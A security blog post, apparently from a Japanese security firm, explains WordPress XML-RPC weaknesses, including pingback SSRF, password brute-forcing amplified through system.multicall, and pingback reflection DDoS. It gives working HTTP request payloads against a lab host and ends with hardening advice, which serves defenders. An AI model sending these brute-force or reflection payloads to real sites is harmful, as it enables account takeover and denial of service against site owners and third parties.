本サイトは、快適にご利用いただくためにクッキー(Cookie)を使用しております。
Cookieの使用に同意いただける場合は「同意する」ボタンを押してください。
なお本サイトのCookie使用については、「個人情報保護方針」をご覧ください。
XML-RPC is a remote procedure call over HTTP formatted with XML. WordPress exposes XML-RPC APIs via xmlrpc.php
. Some of the APIs have been abused in various ways by attackers. This entry is about the security of the implementation of XML-RPC by WordPress.
First, let's see a simple example of XML-RPC call. Below is an XML-RPC request and response that lists all the API methods supported by WordPress.
XML-RPC request:
POST /xmlrpc.php HTTP/1.1 Host: 192.168.128.167 Content-Type: text/xml Content-Length: 95 <?xml version="1.0"?> <methodCall> <methodName>system.listMethods</methodName> </methodCall>
XML-RPC response:
HTTP/1.1 200 OK Date: Sun, 08 Nov 2015 13:12:19 GMT Server: Apache/2.4.10 (Debian) Connection: close Content-Length: 4224 Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 <?xml version="1.0" encoding="UTF-8"?> <methodResponse> <params> <param> <value> <array><data> <value><string>system.multicall</string></value> <value><string>system.listMethods</string></value> <value><string>system.getCapabilities</string></value> <value><string>demo.addTwoNumbers</string></value> <value><string>demo.sayHello</string></value> <value><string>pingback.extensions.getPingbacks</string></value> <value><string>pingback.ping</string></value> <value><string>mt.publishPost</string></value> <value><string>mt.getTrackbackPings</string></value> <value><string>mt.supportedTextFilters</string></value> <value><string>mt.supportedMethods</string></value> <value><string>mt.setPostCategories</string></value> <value><string>mt.getPostCategories</string></value> <value><string>mt.getRecentPostTitles</string></value> <value><string>mt.getCategoryList</string></value> <value><string>metaWeblog.getUsersBlogs</string></value> <value><string>metaWeblog.deletePost</string></value> <value><string>metaWeblog.newMediaObject</string></value> <value><string>metaWeblog.getCategories</string></value> <value><string>metaWeblog.getRecentPosts</string></value> <value><string>metaWeblog.getPost</string></value> <value><string>metaWeblog.editPost</string></value> <value><string>metaWeblog.newPost</string></value> <value><string>blogger.deletePost</string></value> <value><string>blogger.editPost</string></value> <value><string>blogger.newPost</string></value> <value><string>blogger.getRecentPosts</string></value> <value><string>blogger.getPost</string></value> <value><string>blogger.getUserInfo</string></value> <value><string>blogger.getUsersBlogs</string></value> <value><string>wp.restoreRevision</string></value> <value><string>wp.getRevisions</string></value> <value><string>wp.getPostTypes</string></value> <value><string>wp.getPostType</string></value> <value><string>wp.getPostFormats</string></value> <value><string>wp.getMediaLibrary</string></value> <value><string>wp.getMediaItem</string></value> <value><string>wp.getCommentStatusList</string></value> <value><string>wp.newComment</string></value> <value><string>wp.editComment</string></value> <value><string>wp.deleteComment</string></value> <value><string>wp.getComments</string></value> <value><string>wp.getComment</string></value> <value><string>wp.setOptions</string></value> <value><string>wp.getOptions</string></value> <value><string>wp.getPageTemplates</string></value> <value><string>wp.getPageStatusList</string></value> <value><string>wp.getPostStatusList</string></value> <value><string>wp.getCommentCount</string></value> <value><string>wp.uploadFile</string></value> <value><string>wp.suggestCategories</string></value> <value><string>wp.deleteCategory</string></value> <value><string>wp.newCategory</string></value> <value><string>wp.getTags</string></value> <value><string>wp.getCategories</string></value> <value><string>wp.getAuthors</string></value> <value><string>wp.getPageList</string></value> <value><string>wp.editPage</string></value> <value><string>wp.deletePage</string></value> <value><string>wp.newPage</string></value> <value><string>wp.getPages</string></value> <value><string>wp.getPage</string></value> <value><string>wp.editProfile</string></value> <value><string>wp.getProfile</string></value> <value><string>wp.getUsers</string></value> <value><string>wp.getUser</string></value> <value><string>wp.getTaxonomies</string></value> <value><string>wp.getTaxonomy</string></value> <value><string>wp.getTerms</string></value> <value><string>wp.getTerm</string></value> <value><string>wp.deleteTerm</string></value> <value><string>wp.editTerm</string></value> <value><string>wp.newTerm</string></value> <value><string>wp.getPosts</string></value> <value><string>wp.getPost</string></value> <value><string>wp.deletePost</string></value> <value><string>wp.editPost</string></value> <value><string>wp.newPost</string></value> <value><string>wp.getUsersBlogs</string></value> </data></array> </value> </param> </params> </methodResponse>
There are about 80 methods in the list above.
system.listMethods
takes no argument. Other methods like wp.*
used for WordPress administration require account information as arguments. In the XML-RPC specs, there are some header requirements to be followed by XML-RPC clients. WordPress doesn't conform to the requirements
One of the most interesting vulnerabilities of xmlrpc.php
is SSRF (Server-Side Request Forgery) attack against pingback.ping
method which was fixed in WordPress 3.5.1. pingback.ping
takes two arguments: sourceUri
and targetUri
.
Below is an example.
POST /xmlrpc.php HTTP/1.1 Host: 192.168.128.167 Content-Type: text/xml Content-Length: 255 <?xml version="1.0"?> <methodCall> <methodName>pingback.ping</methodName> <params> <param><value><string>http://www.mbsd.jp/</string></value></param> <param><value><string>http://192.168.128.167/?p=1</string></value></param> </params> </methodCall>
The above call makes the XML-RPC server to send an HTTP request to http://www.mbsd.jp/
on behalf of the client. This led to SSRF because older versions of xmlrpc.php
didn't strictly check the scheme and hostname of the sourceUri
.
An attacker could conduct port scanning on the internal network or read data from local files using file:
scheme. There are tools to exploit this vulnerability. However, very few systems on the Internet are supposed to be affected by this now.
This is a problem in the past.
There are two other problems related to the features of WordPress that also affect the latest version of the product (4.3.1 as of this writing), one of which is brute force attack and the other is DDoS attack.
Many APIs supported by WordPress require account information, and WordPress also supports calling multiple APIs at once via system.multicall
method. This means that an attacker can check multiple combinations of ID/PW guesses against the correct one.
Below is an example of system.multicall
call that attempts 10 logins as admin at once.
XML-RPC request:
POST /xmlrpc.php HTTP/1.1 Host: 192.168.128.167 Content-Type: text/xml Content-Length: 3160 <?xml version='1.0'?> <methodCall> <methodName>system.multicall</methodName> <params> <param> <value><array><data> <value><struct> <member> <name>params</name> <value><array><data> <value><string>admin</string></value> <value><string>0000</string></value> </data></array></value> </member> <member> <name>methodName</name> <value><string>wp.getCategories</string></value> </member> </struct></value> <value><struct> <member> <name>params</name> <value><array><data> <value><string>admin</string></value> <value><string>1111</string></value> </data></array></value> </member> <member> <name>methodName</name> <value><string>wp.getCategories</string></value> </member> </struct></value> <value><struct> <member> <name>params</name> <value><array><data> <value><string>admin</string></value> <value><string>2222</string></value> </data></array></value> </member> <member> <name>methodName</name> <value><string>wp.getCategories</string></value> </member> </struct></value> <value><struct> <member> <name>params</name> <value><array><data> <value><string>admin</string></value> <value><string>3333</string></value> </data></array></value> </member> <member> <name>methodName</name> <value><string>wp.getCategories</string></value> </member> </struct></value> <value><struct> <member> <name>params</name> <value><array><data> <value><string>admin</string></value> <value><string>4444</string></value> </data></array></value> </member> <member> <name>methodName</name> <value><string>wp.getUsersBlogs</string></value> </member> </struct></value> <value><struct> <member> <name>params</name> <value><array><data> <value><string>admin</string></value> <value><string>5555</string></value> </data></array></value> </member> <member> <name>methodName</name> <value><string>wp.getUsersBlogs</string></value> </member> </struct></value> <value><struct> <member> <name>params</name> <value><array><data> <value><string>admin</string></value> <value><string>6666</string></value> </data></array></value> </member> <member> <name>methodName</name> <value><string>wp.getUsersBlogs</string></value> </member> </struct></value> <value><struct> <member> <name>params</name> <value><array><data> <value><string>admin</string></value> <value><string>7777</string></value> </data></array></value> </member> <member> <name>methodName</name> <value><string>wp.getUsersBlogs</string></value> </member> </struct></value> <value><struct> <member> <name>params</name> <value><array><data> <value><string>admin</string></value> <value><string>8888</string></value> </data></array></value> </member> <member> <name>methodName</name> <value><string>wp.getUsersBlogs</string></value> </member> </struct></value> <value><struct> <member> <name>params</name> <value><array><data> <value><string>admin</string></value> <value><string>9999</string></value> </data></array></value> </member> <member> <name>methodName</name> <value><string>wp.getUsersBlogs</string></value> </member> </struct></value> </data></array></value> </param> </params> </methodCall>
XML-RPC response:
HTTP/1.1 200 OK Date: Sun, 08 Nov 2015 16:29:31 GMT Server: Apache/2.4.10 (Debian) Connection: close Content-Length: 2663 Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 <?xml version="1.0" encoding="UTF-8"?> <methodResponse> <params> <param> <value> <array><data> <value><struct> <member><name>faultCode</name><value><int>403</int></value></member> <member><name>faultString</name><value><string>Incorrect username or password.</string></value></member> </struct></value> <value><struct> <member><name>faultCode</name><value><int>403</int></value></member> <member><name>faultString</name><value><string>Incorrect username or password.</string></value></member> </struct></value> <value><struct> <member><name>faultCode</name><value><int>403</int></value></member> <member><name>faultString</name><value><string>Incorrect username or password.</string></value></member> </struct></value> <value><struct> <member><name>faultCode</name><value><int>403</int></value></member> <member><name>faultString</name><value><string>Incorrect username or password.</string></value></member> </struct></value> <value><struct> <member><name>faultCode</name><value><int>403</int></value></member> <member><name>faultString</name><value><string>Incorrect username or password.</string></value></member> </struct></value> <value><struct> <member><name>faultCode</name><value><int>403</int></value></member> <member><name>faultString</name><value><string>Incorrect username or password.</string></value></member> </struct></value> <value><struct> <member><name>faultCode</name><value><int>403</int></value></member> <member><name>faultString</name><value><string>Incorrect username or password.</string></value></member> </struct></value> <value><struct> <member><name>faultCode</name><value><int>403</int></value></member> <member><name>faultString</name><value><string>Incorrect username or password.</string></value></member> </struct></value> <value><struct> <member><name>faultCode</name><value><int>403</int></value></member> <member><name>faultString</name><value><string>Incorrect username or password.</string></value></member> </struct></value> <value><array><data> <value><array><data> <value><struct> <member><name>isAdmin</name><value><boolean>1</boolean></value></member> <member><name>url</name><value><string>http://192.168.128.167/</string></value></member> <member><name>blogid</name><value><string>1</string></value></member> <member><name>blogName</name><value><string>TITLE</string></value></member> <member><name>xmlrpc</name><value><string>http://192.168.128.167/xmlrpc.php</string></value></member> </struct></value> </data></array></value> </data></array></value> </data></array> </value> </param> </params> </methodResponse>
w00t! admin's password is 9999.
Attackers can attempt thousands of logins at once to be more efficient. According to research by Sucuri, soaring number of attacks leverage the method to conduct brute force attacks these days.
pingback.ping
method can be used as a means of DDoS attacks. This is a kind of reflection attack like NTP reflection, which uses XML-RPC servers as reflectors to attack a victim. Below is an example.
<?xml version="1.0"?> <methodCall> <methodName>pingback.ping</methodName> <params> <param><value><string>http://victim</string></value></param> <param><value><string>http://reflector</string></value></param> </params> </methodCall>
Exposing XML-RPC over the Internet is not safe from a security standpoint. I recommend disabling XML-RPC, if that is an option. In our web application tests, we often find WordPress websites that don't restrict access to xmlrpc.php
or restrict it in a wrong way.
Below are two examples of .htaccess
you can find on Google.
Example 1:
<Files xmlrpc.php> order deny,allow deny from all #allow from x.x.x.x </Files>
Example 2:
RewriteRule ^xmlrpc\.php$ "http\:\/\/0\.0\.0\.0\/" [R=301,L]
Unfortunately, the second one is wrong. You can easily bypass the pattern by accessing xmlrpc.php/
instead of xmlapc.php
if PATH_INFO
isn't disabled. You can also disable XML-RPC by changing the WordPress config.
XML-RPC is only one of many aspects of WordPress security. You can set up a WordPress site in 5 minutes, but it takes much more time to secure it. Tools like WPScan could help, but there is no silver bullet.
References:
[1] XML-RPC Specification
http://xmlrpc.scripting.com/spec.html
[2] WordPress XMLRPC pingback additional issues
http://lab.onsec.ru/2013/01/wordpress-xmlrpc-pingback-additional.html
[3] Brute Force Amplification Attacks Against WordPress XMLRPC
https://blog.sucuri.net/2015/10/brute-force-amplification-attacks-against-wordpress-xmlrpc.html
[4] Wordpress "Pingback" DDoS Attacks
https://isc.sans.edu/forums/diary/Wordpress+Pingback+DDoS+Attacks/17801
[5] WPScan Vulnerability Database
おすすめ記事